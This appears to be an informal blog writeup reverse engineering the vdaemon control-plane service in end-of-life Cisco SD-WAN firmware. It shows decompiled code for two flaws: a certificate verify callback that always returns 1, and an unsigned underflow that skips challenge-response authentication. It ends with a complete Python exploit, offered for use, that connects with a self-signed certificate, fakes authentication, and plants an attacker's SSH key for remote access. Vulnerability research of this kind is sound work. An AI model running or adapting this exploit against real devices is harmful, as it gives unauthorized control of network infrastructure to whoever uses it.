cataclysm cisco something pt. 1
summary: an incomplete check + integer underflow in the challenge-response layer along with a faulty openssl verify callback when starting a control plane session allows an attacker to establish a dtls session with a self signed cert, bypass the challenge response layer, send a specific vbond pkt and write an ssh key to the box, getting ia. note that the firmware targeted is eol. have fun though
note
i kinda rushed this lol. ctrl+f “the xp” if you want the exploit
this will be a small writeup on a series of xps i found on an older version of a certain piece of firmware (im sure you can guess it by the title name now). it may be linked to a recently published cve (unsure very sure) but since its been publicly disclosed i might aswell drop it. the firmware i worked on is considered eol notably. a part 2 will be out on this covering another xp thats a bit more screwy to deal with and is notably harder to exp.
what you need to know - vdaemon
vdaemon is just a control plane service for sdwan. all it does is it mms dtls traffic between shit like vbond/vmsart/vmanage/vedge.
ida
ok so lets open vdaemon in ida, opening it in ida the first thing id do is obviously dumping all the strings and quickly doing a scrollthru on anything interesting. one thing of notice that pops out quickly is this:

clicking on it shows this:
.rodata:00000000000BD8C5 ; const char[]
.rodata:00000000000BD8C5 db '/tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noa'
.rodata:00000000000BD8C5 ; DATA XREF: sub_39D80:loc_39DD4↑o
.rodata:00000000000BD8C5 ; sub_39D80+382↑o ...
checking the xref:
unsigned __int64 __fastcall sub_39D80(_BYTE *a1)
{
FILE *v1; // r14
size_t v2; // rax
int v3; // eax
unsigned int v4; // ebx
__int64 v5; // rdx
__int64 v6; // rsi
int *v7; // rax
__int64 v8; // r8
int *v9; // r14
int *v10; // rax
int *v11; // r15
__int64 v12; // rdx
__int64 v13; // rsi
__int64 v14; // rdx
__int64 v15; // rsi
stat stat_buf; // [rsp+0h] [rbp-4C0h] BYREF
char v18; // [rsp+90h] [rbp-430h] BYREF
char v19; // [rsp+D0h] [rbp-3F0h] BYREF
char s[784]; // [rsp+F0h] [rbp-3D0h] BYREF
char v21[2]; // [rsp+400h] [rbp-C0h] BYREF
char v22[2]; // [rsp+402h] [rbp-BEh] BYREF
char v23[2]; // [rsp+404h] [rbp-BCh] BYREF
char v24[2]; // [rsp+406h] [rbp-BAh] BYREF
char v25[2]; // [rsp+408h] [rbp-B8h] BYREF
char v26[2]; // [rsp+40Ah] [rbp-B6h] BYREF
char v27[2]; // [rsp+40Ch] [rbp-B4h] BYREF
char v28[2]; // [rsp+40Eh] [rbp-B2h] BYREF
char v29[2]; // [rsp+410h] [rbp-B0h] BYREF
char v30[2]; // [rsp+412h] [rbp-AEh] BYREF
char v31[2]; // [rsp+414h] [rbp-ACh] BYREF
char v32[2]; // [rsp+416h] [rbp-AAh] BYREF
char v33[2]; // [rsp+418h] [rbp-A8h] BYREF
char v34[2]; // [rsp+41Ah] [rbp-A6h] BYREF
char v35[2]; // [rsp+41Ch] [rbp-A4h] BYREF
char v36[18]; // [rsp+41Eh] [rbp-A2h] BYREF
_BYTE v37[24]; // [rsp+430h] [rbp-90h] BYREF
_BYTE v38[88]; // [rsp+448h] [rbp-78h] BYREF
unsigned __int64 v39; // [rsp+4A0h] [rbp-20h]
v39 = __readfsqword(0x28u);
++qword_376488;
if ( a1 && *a1 )
{
if ( mkdir("/tmp/.ncsshd_authorized_keys", 0x1C0u) != -1 )
goto LABEL_4;
v7 = __errno_location();
v8 = (unsigned int)*v7;
if ( (_DWORD)v8 != 17 )
{
v12 = (unsigned __int16)vdaemon_tm_mod;
v13 = 23;
goto LABEL_26;
}
v9 = v7;
if ( __lxstat(1, "/tmp/.ncsshd_authorized_keys", &stat_buf) == -1 )
{
v8 = (unsigned int)*v9;
v12 = (unsigned __int16)vdaemon_tm_mod;
v13 = 24;
goto LABEL_26;
}
if ( stat_buf.st_uid )
{
v5 = (unsigned __int16)vdaemon_tm_mod;
v6 = 25;
}
else if ( (stat_buf.st_mode & 0xF000) == 0x4000 )
{
if ( (stat_buf.st_mode & 0x1FF) == 0x1C0 )
{
LABEL_4:
v1 = fopen("/tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noauthz", "wex");
if ( v1 )
goto LABEL_5;
v10 = __errno_location();
v8 = (unsigned int)*v10;
if ( (_DWORD)v8 == 17 )
{
v11 = v10;
if ( unlink("/tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noauthz") == -1 )
{
v8 = (unsigned int)*v11;
v12 = (unsigned __int16)vdaemon_tm_mod;
v13 = 29;
}
else
{
v1 = fopen("/tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noauthz", "wex");
if ( v1 )
{
LABEL_5:
__isoc99_sscanf(a1, "%30s %768s %50s", &v19, s, &v18);
v2 = strlen(s);
v3 = sub_B4200(s, &s[v2]);
if ( v3 < 0 )
{
v14 = (unsigned __int16)vdaemon_tm_mod;
v15 = 32;
}
else
{
v4 = v3;
MD5Init(v38);
MD5Update(v38, s, v4);
MD5Final(v37, v38);
snprintf(v21, 3u, "%02X", v37[0]);
snprintf(v22, 3u, "%02X", v37[1]);
snprintf(v23, 3u, "%02X", v37[2]);
snprintf(v24, 3u, "%02X", v37[3]);
snprintf(v25, 3u, "%02X", v37[4]);
snprintf(v26, 3u, "%02X", v37[5]);
snprintf(v27, 3u, "%02X", v37[6]);
snprintf(v28, 3u, "%02X", v37[7]);
snprintf(v29, 3u, "%02X", v37[8]);
snprintf(v30, 3u, "%02X", v37[9]);
snprintf(v31, 3u, "%02X", v37[10]);
snprintf(v32, 3u, "%02X", v37[11]);
snprintf(v33, 3u, "%02X", v37[12]);
snprintf(v34, 3u, "%02X", v37[13]);
snprintf(v35, 3u, "%02X", v37[14]);
snprintf(v36, 3u, "%02X", v37[15]);
v36[2] = 0;
if ( v21[0] )
{
fprintf(v1, "ssh-rsa %s\n", v21);
LABEL_23:
fclose(v1);
return __readfsqword(0x28u);
}
v14 = (unsigned __int16)vdaemon_tm_mod;
v15 = 31;
}
__BTf_0(&unk_C8668, v15, v14, 50331648);
goto LABEL_23;
}
v8 = (unsigned int)*v11;
v12 = (unsigned __int16)vdaemon_tm_mod;
v13 = 30;
}
}
else
{
v12 = (unsigned __int16)vdaemon_tm_mod;
v13 = 28;
}
LABEL_26:
__BTf_4(&unk_C8668, v13, v12, 50331648, v8);
return __readfsqword(0x28u);
}
v5 = (unsigned __int16)vdaemon_tm_mod;
v6 = 27;
}
else
{
v5 = (unsigned __int16)vdaemon_tm_mod;
v6 = 26;
}
}
else
{
v5 = (unsigned __int16)vdaemon_tm_mod;
v6 = 22;
}
__BTf_0(&unk_C8668, v6, v5, 50331648);
return __readfsqword(0x28u);
}
cutting down the logic all its really doing is just writing a ssh key to /tmp/.ncsshd_authorized_keys/7EED85345B097525DA8C4C9CFB5C9BEE-noauthz:

interesting. xrefing this function itself slowly leads me to a monstrous sub_2A4D0:

clearly i wont be reversing all that. good sink we have though, reachable from message type 14, maybe we can try and target for an auth byp lol xrefing upwards, we get:
vbond_event_cb proc near ; DATA XREF: LOAD:0000000000007548↑o
; sub_23C90+216↓o ...
var_1601F0 = xmmword ptr -1601F0h
var_1601E0 = xmmword ptr -1601E0h
len = word ptr -1601D0h
addr_len = word ptr -1601CCh
var_1601C8 = dword ptr -1601C8h
var_1601C4 = dword ptr -1601C4h
optlen = word ptr -1601C0h
optval = byte ptr -1014C0h
buf = byte ptr -14C0h
var_14B3 = byte ptr -14B3h
var_130 = sockaddr ptr -130h
addr = xmmword ptr -0B0h
var_A0 = xmmword ptr -0A0h
var_90 = xmmword ptr -90h
var_80 = xmmword ptr -80h
var_70 = xmmword ptr -70h
var_60 = xmmword ptr -60h
var_50 = xmmword ptr -50h
var_40 = xmmword ptr -40h
var_30 = qword ptr -30h
; __unwind {
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rbx
sub rsp, 1601C8h
mov rax, fs:28h
mov [rbp-30h], rax
add cs:qword_376260, 1
mov dword ptr [rbp-1601C4h], 0
mov dword ptr [rbp-1601CCh], 80h
mov dword ptr [rbp-1601D0h], 80h
test rdx, rdx
jz loc_239D5
mov r13, rdx
mov r15d, edi
mov r14, [rdx+4B0h]
xorps xmm0, xmm0
movaps xmmword ptr [rbp-40h], xmm0
movaps xmmword ptr [rbp-50h], xmm0
movaps xmmword ptr [rbp-60h], xmm0
movaps xmmword ptr [rbp-70h], xmm0
movaps xmmword ptr [rbp-80h], xmm0
movaps xmmword ptr [rbp-90h], xmm0
movaps xmmword ptr [rbp-0A0h], xmm0
movaps xmmword ptr [rbp-0B0h], xmm0
lea rsi, [rbp+buf] ; buf
lea r8, [rbp+addr] ; addr
lea r9, [rbp+addr_len] ; addr_len
mov edx, 1388h ; n
mov ecx, 2 ; flags
call _recvfrom
test eax, eax
jz short loc_2363B
cmp eax, 0FFFFFFFFh
jnz loc_23683
call ___errno_location
mov ebx, [rax]
cmp ebx, 5Ah ; 'Z'
jz loc_237A3
mov rax, cs:vdaemon_tm_mod_ptr
add r14, 1Ch
cmp ebx, 0Bh
jnz loc_237FA
movzx ebx, word ptr [rax+0Ah]
mov edi, 0Bh ; errnum
call _strerror
sub rsp, 8
mov rdi, cs:off_2DEC68
mov esi, 2Eh ; '.'
loc_2361C: ; CODE XREF: vbond_event_cb+27E↓j
mov edx, ebx
mov ecx, 8000000h
mov r8, r14
mov r9d, 0Bh
push rax
call ___BTf_141
add rsp, 10h
jmp loc_239D5
at this point ida decides to kill itself. changing ida’s max analysis size my computer begins to eject pure lava at my ass. after it was done however it was ultimately a timewaste because it still just reaches the same sink prior. cool. xrefing upwards again, we finally get this:
unsigned __int64 __fastcall sub_23C90(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v4; // r14
__int64 v5; // rax
unsigned int v6; // r15d
__int64 v7; // r13
__int64 v8; // rbx
__int64 v9; // rax
unsigned int v10; // eax
unsigned int v11; // r15d
__int64 v12; // rax
__int64 v13; // rdi
__int64 v14; // rax
__int64 v15; // rbx
__int64 v16; // rax
unsigned int v17; // r15d
unsigned int error; // r12d
int v19; // eax
int v20; // r14d
int v21; // r13d
int v22; // ebx
char *v23; // rax
int v24; // ebx
char *v25; // rax
int v26; // r9d
int v28; // [rsp+20h] [rbp-110h]
int v29; // [rsp+28h] [rbp-108h]
int v30; // [rsp+2Ch] [rbp-104h]
int v31[4]; // [rsp+30h] [rbp-100h] BYREF
__int64 v32; // [rsp+40h] [rbp-F0h]
__int128 v33; // [rsp+48h] [rbp-E8h]
unsigned __int64 v34; // [rsp+100h] [rbp-30h]
v34 = __readfsqword(0x28u);
++qword_376268;
v4 = *(_QWORD *)(a3 + 256);
++*(_DWORD *)(v4 + 39820);
v5 = sub_947B0(v4, a3);
v6 = (unsigned __int16)vdaemon_tm_mod;
if ( v5 )
{
v7 = v5;
v8 = v5 + 392;
v9 = ipaddr_port_print(v5 + 392, v31, 200);
__BTf_1(&unk_C7B08, 59, v6, 0x8000000, v9);
v10 = SSL_do_handshake(*(_QWORD *)(v7 + 1016));
if ( v10 == 1 )
{
v11 = (unsigned __int16)vdaemon_tm_mod;
v12 = ipaddr_port_print(v8, v31, 200);
__BTf_1(&unk_C7B08, 60, v11, 0x8000000, v12);
*(_DWORD *)(v7 + 40) = *(_DWORD *)(v7 + 36);
*(_DWORD *)(v7 + 36) = 2;
++*(_DWORD *)(v4 + 39828);
timer_util_delete(*(_QWORD *)(v7 + 1184));
*(_QWORD *)(v7 + 1184) = 0;
__BTf_0(&unk_C7B08, 63, (unsigned __int16)vdaemon_tm_mod, 50331648);
sub_8E050(v4, *(_QWORD *)(v7 + 1200), v7);
v13 = *(_QWORD *)(v7 + 728);
if ( v13
|| (__BTf_14(
&unk_C7B08,
64,
(unsigned __int16)vdaemon_tm_mod,
0x8000000,
"expiry-timer",
(unsigned int)(*(_DWORD *)(v4 + 1136) / 1000)),
v13 = timer_util_create(
*(_QWORD *)(v4 + 38928),
0,
0,
*(unsigned int *)(v4 + 1136),
&vbond_peer_timer_exp_cb,
v7,
v4,
0,
0,
"expiry-timer"),
(*(_QWORD *)(v7 + 728) = v13) != 0) )
{
timer_enable(v13);
timer_enable(*(_QWORD *)(v7 + 720));
if ( *(_QWORD *)(v7 + 1008) )
{
((void (*)(void))event_free)();
*(_QWORD *)(v7 + 1008) = 0;
}
v14 = event_new(*(_QWORD *)(v4 + 38664), *(unsigned int *)(v7 + 1000), 18, vbond_event_cb, v7);
if ( v14 )
this mayl ook like complete bullshit but hang on a bit let me clear up the casts:
unsigned __int64 __fastcall sub_23C90(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v4; // r14
__int64 v5; // rax
unsigned int v6; // r15d
__int64 v7; // r13
__int64 v8; // rbx
__int64 v9; // rax
unsigned int v10; // eax
unsigned int v11; // r15d
__int64 v12; // rax
__int64 v13; // rdi
__int64 v14; // rax
__int64 v15; // rbx
__int64 v16; // rax
unsigned int v17; // r15d
unsigned int error; // r12d
int v19; // eax
int v20; // r14d
int v21; // r13d
int v22; // ebx
char *v23; // rax
int v24; // ebx
char *v25; // rax
int v26; // r9d
int v28; // [rsp+20h] [rbp-110h]
int v29; // [rsp+28h] [rbp-108h]
int v30; // [rsp+2Ch] [rbp-104h]
int v31[4]; // [rsp+30h] [rbp-100h] BYREF
__int64 v32; // [rsp+40h] [rbp-F0h]
__int128 v33; // [rsp+48h] [rbp-E8h]
unsigned __int64 v34; // [rsp+100h] [rbp-30h]
v34 = __readfsqword(0x28u);
++qword_376268;
v4 = *(a3 + 256);
++*(v4 + 39820);
v5 = sub_947B0(v4, a3);
v6 = vdaemon_tm_mod;
if ( v5 )
{
v7 = v5;
v8 = v5 + 392;
v9 = ipaddr_port_print(v5 + 392, v31, 200);
__BTf_1(&unk_C7B08, 59, v6, 0x8000000, v9);
v10 = SSL_do_handshake(*(v7 + 1016));
if ( v10 == 1 )
{
v11 = vdaemon_tm_mod;
v12 = ipaddr_port_print(v8, v31, 200);
__BTf_1(&unk_C7B08, 60, v11, 0x8000000, v12);
*(v7 + 40) = *(v7 + 36);
*(v7 + 36) = 2;
++*(v4 + 39828);
timer_util_delete(*(v7 + 1184));
*(v7 + 1184) = 0;
__BTf_0(&unk_C7B08, 63, vdaemon_tm_mod, 50331648);
sub_8E050(v4, *(v7 + 1200), v7);
v13 = *(v7 + 728);
if ( v13
|| (__BTf_14(&unk_C7B08, 64, vdaemon_tm_mod, 0x8000000, "expiry-timer", (*(v4 + 1136) / 1000)),
v13 = timer_util_create(
*(v4 + 38928),
0,
0,
*(v4 + 1136),
&vbond_peer_timer_exp_cb,
v7,
v4,
0,
0,
"expiry-timer"),
(*(v7 + 728) = v13) != 0) )
{
timer_enable(v13);
timer_enable(*(v7 + 720));
if ( *(v7 + 1008) )
{
(event_free)();
*(v7 + 1008) = 0;
}
v14 = event_new(*(v4 + 38664), *(v7 + 1000), 18, vbond_event_cb, v7); // reach here
obviously the thing it uses to auth you is in SSL_do_handshake. looking at the actual disassembly (not the pseudocode) we can infer that v7 (given the ssl ctx) is probably the ssl context ptr. interesting. looking at what screws with this specific v7+1016 offset. we eventually get to:
__int64 __fastcall sub_222E0(__int64 a1, __int64 a2, char a3, int a4)
{
__int64 v5; // rax
int v6; // eax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rdx
__int64 v10; // rsi
unsigned int v11; // r15d
__int64 v12; // rax
__int64 v14; // [rsp+20h] [rbp-40h] BYREF
__int64 v15; // [rsp+28h] [rbp-38h]
unsigned __int64 v16; // [rsp+30h] [rbp-30h]
v16 = __readfsqword(0x28u);
++qword_376230;
v5 = BIO_new_dgram(*(unsigned int *)(*(_QWORD *)(a1 + 1200) + 4LL * (a4 != 2) + 528), 0);
*(_QWORD *)(a1 + 1024) = v5;
v14 = *(unsigned __int8 *)(a2 + 279396);
v15 = 0;
v6 = BIO_ctrl(v5, 33, 0, &v14);
if ( v6 < 0 )
__BTf_14(&unk_C7B08, 18, (unsigned __int16)vdaemon_tm_mod, 50331648, "Init new connection:", (unsigned int)v6);
BIO_ctrl(*(_QWORD *)(a1 + 1024), 102, 1, 0);
v7 = *(_QWORD *)(a1 + 1200);
if ( a3 == 1 )
{
v8 = SSL_new(*(_QWORD *)(v7 + 235160));
nice lol. obv still a complete clusterfuck of code. xrefing higher, we reach sub_AFE50. one thing of interest in here to note is SSL_CTX_set_verify, since it accepts a callback. xrefing the functions we eventually reach:
if ( sub_AFCF0(
"/usr/share/viptela/server.crt",
v21,
0,
*(a2 + 235192),
*(a2 + 235200),
CIPHER_LIST,
sub_21AB0,
&sub_22B50,
sub_22CB0,
(a2 + 235160)) )
{
which circles back to:
__int64 __fastcall sub_AFCF0(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8,
__int64 a9,
__int64 *a10)
{
__int64 v14; // rax
__int64 v15; // rax
__int64 v16; // rbx
unsigned int v17; // r14d
__int64 v19; // [rsp+18h] [rbp-38h]
++qword_377B78;
*a10 = 0;
v14 = DTLS_server_method();
v15 = SSL_CTX_new(v14);
if ( v15 )
{
v16 = v15;
v19 = a6;
v17 = 0;
SSL_CTX_set_options(v15, 0);
SSL_CTX_set_options(v16, 0x40000000);
SSL_CTX_ctrl(v16, 3, 0, a4);
SSL_CTX_ctrl(v16, 4, 0, a5);
if ( sub_AFE50(v16, a1, a2, a3, v19, a7) )
{
SSL_CTX_free(v16);
return 1;
}
else
{
SSL_CTX_ctrl(v16, 41, 1, 0);
SSL_CTX_set_cookie_generate_cb(v16, a8);
SSL_CTX_set_cookie_verify_cb(v16, a9);
*a10 = v16;
}
}
else
{
__BTf_0(&unk_CB2B4, 85, vdaemon_tm_mod, 50331648);
return 1;
}
return v17;
}
following the funct ptr arg sub_21AB0 we eventually get to see this being directly passed into the ssl ctx verification function i mentioned previously. just a refresher:
typedef int (*SSL_verify_cb)(int preverify_ok, X509_STORE_CTX *x509_ctx);
void SSL_CTX_set_verify(SSL_CTX *ctx, int mode, SSL_verify_cb verify_callback)
per openssl docs:
SSL_CTX_set_verify() sets the verification flags for ctx to be mode and specifies the verify_callback function to be used. If no callback function shall be specified, the NULL pointer can be used for verify_callback. ctx MUST NOT be NULL.
SSL_set_verify() sets the verification flags for ssl to be mode and specifies the verify_callback function to be used. If no callback function shall be specified, the NULL pointer can be used for verify_callback. In this case last verify_callback set specifically for this ssl remains.
interesting. lets see what this callback returns:
__int64 __fastcall sub_21AB0(int a1)
{
++qword_376200;
if ( !a1 )
__BTf_0(&unk_C7B08, 8, word_2EEA38, 0x8000000);
return 1;
}
see the issue pal
the issue (#1)
obviously the problem here is that this callback wilk always return 1 no matter what. so even if you pass in an invalid cert youll get around this. woops
this is weird because if we check another callback they use:
__int64 __fastcall sub_47AC0(int a1, __int64 a2)
{
unsigned int v3; // r15d
int error; // eax
__int64 v5; // rax
++qword_3768F8;
if ( a1 )
{
__BTf_0(&unk_C8B00, 75, vdaemon_tm_mod, 50331648);
return 1;
}
else
{
__BTf_0(&unk_C8B00, 73, vdaemon_tm_mod, 50331648);
v3 = vdaemon_tm_mod;
error = X509_STORE_CTX_get_error(a2);
v5 = X509_verify_cert_error_string(error);
__BTf_1(&unk_C8B00, 74, v3, 50331648, v5);
return 0;
}
}
this properly returns stuff accordingly. so clearly this is one bug we can probably use lovl. looking at how they use SSL_CTX_set_verify:
loc_AFA3C:
mov rdi, r12
mov esi, 5
mov rdx, [rbp-2048h]
call _SSL_CTX_set_verify
it sets esi to 5. in openssl this means that they used SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT. this basically just means that they require a peer cert and vcalidate it. so clearly this was an oversight on their behalf.
the issue (#2)
now we have to get around the second layer of auth. by default after a conncetion is established we’ll be immediately nuked off by a challenge response protocol in vdaemon. essentially, after we got around the first layer the server will now give us a CHALLENGE of message type 8, where they send us a cryptographic challenge. we respond with a CHALLENGE_ACK to prove we are who we say we are. once done, the server will set us as authenticated and let us do whatever.
the auth gate when tracing above is found at:
; 0x2C298
.text:000000000002A5AF mov eax, [r12+4]
.text:000000000002A5B4 mov rsi, r12
.text:000000000002A5B7 jnz short loc_2A5D0
.text:000000000002A5B9 cmp eax, 9
.text:000000000002A5BC ja loc_2A6C0
.text:000000000002A5C2 mov ecx, 321h
.text:000000000002A5C7 bt ecx, eax
.text:000000000002A5CA jnb loc_2A6C0
again my ida died so we have to do some guesswork. unfortunately it seemewd that we are stuck here because our desired message type (14) is restricted from this authgate. obviously we arent crypto gods so hopefully there will be some sort of logic vuln we can find. going back, we find:
loc_2BE07: ; CODE XREF: sub_2A4D0+191A↑j
.text:000000000002BE07 cmp dword ptr [rbx+8], 1 ; check device type
.text:000000000002BE0B mov rcx, cs:vdaemon_tm_mod_ptr
.text:000000000002BE12 movzx edx, word ptr [rcx]
.text:000000000002BE15 jnz loc_2C298
.text:000000000002BE1B mov rdi, cs:off_2DED88
.text:000000000002BE22 mov esi, 84h
.text:000000000002BE27 jmp loc_2ACE7
interestingly, it only checks whether or not our device type is 1. if it is 1 itll go to 0x2ACE7 which is basically unbypassable (for me). however obviously theres more device types than just 1. doing a bit of digging it turns out theres a valid device type 2 (vhub) that completely ignores this. after the cmp fails itll just jnz to loc_2C298, where completely by serendipity, when it starts doing a range check on our device type:
2f9f7 mov eax, [rax+8]
2fa01 add eax, 0FFFFFFFDh ; horrible math
2fa04 cmp eax, 2
2fa07 ja loc_33055
in the second line it subtracts by 3. this causes an integer underflow as it is unsigned, making the next cmp with 2 larger. this lets us jump to loc_33055, which just falls to auth success. cool
where it eventually jumps to the success branch at 0x3305C:
.text:0000000000033055 loc_33055: ; CODE XREF: sub_2A4D0+482E↑j
.text:0000000000033055 ; sub_2A4D0+5537↑j ...
.text:0000000000033055 mov rax, [rbp+var_53D80_1]
.text:000000000003305C mov byte ptr [rax+36h], 1
.text:0000000000033060 xor ebx, ebx
.text:0000000000033062 jmp loc_2AA08
so now theres a way to get around the second layer aswell. nice
so now what
so now our plan is to:
- abuse the fact that they just return 1 no matter what. generate our own cert
- connect via dtls (??)
interestingly, i can also use tls/tcp. in
sub_22F10itll automagically handle tcp/tls. so no need to do dtls shit for me lololol - get around the challenge response layer by telling the server we’re actually a a device of type 2, the server does its range check, the check passes from the unsigned underflow, we pass
- we get authed
- then following the vbond message format, send a specific vbond pkt and hit our sink
- then ssh and get ia
wtf is a vbond msg
now lets figure out what the structure of a vbond message looks like. doing a bit of guesswork we eventually hit sub_7D8B0:

manee wtf is goig on
after searching up examples of vbond messages and code on github, we can confirm some offsets. we can build a quick little function to create a vbond msg of type 14:
def buildbuilder(body):
hdr = bytearray(16)
hdr[0] = (0x01 << 4) | (14 & 0x0F)
hdr[1] = 0x50
hdr[12:16] = p32(16 + len(body), endian="big")
return bytes(hdr) + body
def sshkeybuilder(pubkey_line):
key_bytes = pubkey_line.encode("utf-8")
if not key_bytes.endswith(b"\n"):
key_bytes += b"\n"
body = bytearray(769) # 769 bytes min
body[0:len(key_bytes)] = key_bytes
return buildbuilder(bytes(body))
so now here:
the xp
import ssl
import socket
import struct
import sys
import os
import tempfile
import time
PORT = 12346
def pi(h, n, t):
return struct.pack_into(">I", h, n, t)
def build(msg_class, payload, domain=1, site=1):
hdr = bytearray(12)
hdr[0] = (1 << 4) | (msg_class & 0xF)
hdr[1] = (4 & 0xF) << 4
hdr[2] = 0xA0
pi(hdr, 4, domain)
pi(hdr, 8, site)
return bytes(hdr) + payload
def certgen(cert_path, key_path):
# idgaf
return os.system(
f'openssl req -x509 -newkey rsa:2048 -keyout "{key_path}" '
f'-out "{cert_path}" -days 365 -nodes -subj "/CN=viptela" 2>/dev/null'
) == 0
def conntls(host, cert, key):
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(certfile=cert, keyfile=key)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((host, PORT))
return ctx.wrap_socket(sock, server_hostname=host)
def clap(host, pubkey):
tmpdir = tempfile.mkdtemp()
cert = os.path.join(tmpdir, "c.pem")
key = os.path.join(tmpdir, "k.pem")
try:
if not certgen(cert, key):
return False
print("+ connecting")
s = conntls(host, cert, key)
print("+ tls conn")
s.send(build(9, b"\x00\x00\x00"))
print("+ sent ack")
key_bytes = pubkey.encode() if isinstance(pubkey, str) else pubkey
if not key_bytes.endswith(b"\n"):
key_bytes += b"\n"
payload = bytearray(769)
payload[:len(key_bytes)] = key_bytes
s.send(build(14, bytes(payload)))
print("+ sent ssh key")
time.sleep(1)
s.close()
return True
except:
pass
finally:
for f in [cert, key]:
try: os.unlink(f)
except: pass
try: os.rmdir(tmpdir)
except: pass
if len(sys.argv) < 3:
sys.exit(1)
host = sys.argv[1]
# with open(sys.argv[2], "r") as f:
pubkey = open(sys.argv[2]).read().strip()
print(f"+ key: {pubkey[:10]}")
if clap(host, pubkey):
print("+ done. ssh buddy")
else:
print("dumbass")
sys.exit(1)